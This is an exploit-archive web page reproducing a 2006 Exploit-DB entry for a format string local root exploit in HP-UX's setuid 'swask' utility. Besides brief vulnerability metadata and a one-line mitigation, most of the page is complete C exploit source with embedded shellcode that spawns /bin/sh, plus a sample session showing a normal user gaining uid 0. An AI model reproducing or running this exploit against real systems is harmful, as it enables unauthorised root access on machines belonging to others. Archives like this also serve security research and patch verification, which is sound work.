Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
HP-UX swask format string local root exploit - exploit.company
header-logo
Suggest Exploit
vendor:
HP-UX
by:
prdelka
7.5
CVSS
HIGH
Format String Vulnerability
134
CWE
Product Name: HP-UX
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE: a:hp:hp-ux
Metasploit:
Other Scripts:
Platforms Tested: HP-UX 11i
2006

HP-UX swask format string local root exploit

HP-UX 'swask' contains a format string vulnerability. The 'swask' utility is installed setuid root by default. The vulnerability is in the handling of the '-s' optional argument which is passed to a format function as verbatim.

Mitigation:

Update the 'swask' utility to a patched version or remove setuid root permissions.
Source

Exploit-DB raw data:

/* HP-UX swask format string local root exploit
 * ============================================
 * HP-UX 'swask' contains an exploitable format string 
 * vulnerability. The 'swask' utility is installed setuid
 * root by default. Specifically the vulnerability is in
 * the handling of the "-s" optional arguement which is
 * passed to a format function as verbatim.  
 *
 * Example.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ./prdelka-vs-HPUX-swask
 * [ HP-UX 11i 'swask' local root exploit
 * =======  01/20/06 10:19:49 EST  BEGIN swask SESSION (non-interactive)
 * <SNIP>
 * 
 * =======  01/20/06 10:19:50 EST  END swask SESSION (non-interactive)
 * 
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 * $
 *
 * - prdelka
 */

char shellcode[]=
		 "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
		 "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
		 "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *d, *c, *b,*a,*envp;
        int i,pid;
	printf("[ HP-UX 11i 'swask' local root exploit\n");
	switch(pid = fork()){
		case -1:
			perror("fork");
		case 0:
	        	a=(char*)malloc(2048);
        		memset(a,0,2048); 
        		sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38); 
        		for(i=0;i<103;i++) strcat(a,"%p");
			envp=0;
			execle("/usr/sbin/swask","swask","-s",a,0,envp);
			break;
		default:
			sleep(1);
			b=(char*)malloc(2048);
        		memset(b,0,2048);
        		for(i=0;i<102;i++) strcat(b,"%p");
			strcat(b,"%31799u%hn");
			a=(char*)malloc(2048);
			memset(a,0,2048);
			d=a;
			for(i=0;i<39;i++)strcat(a,"A");
			d+=39;
			for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
			envp=0;
			execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
	}
}

// milw0rm.com [2006-10-24]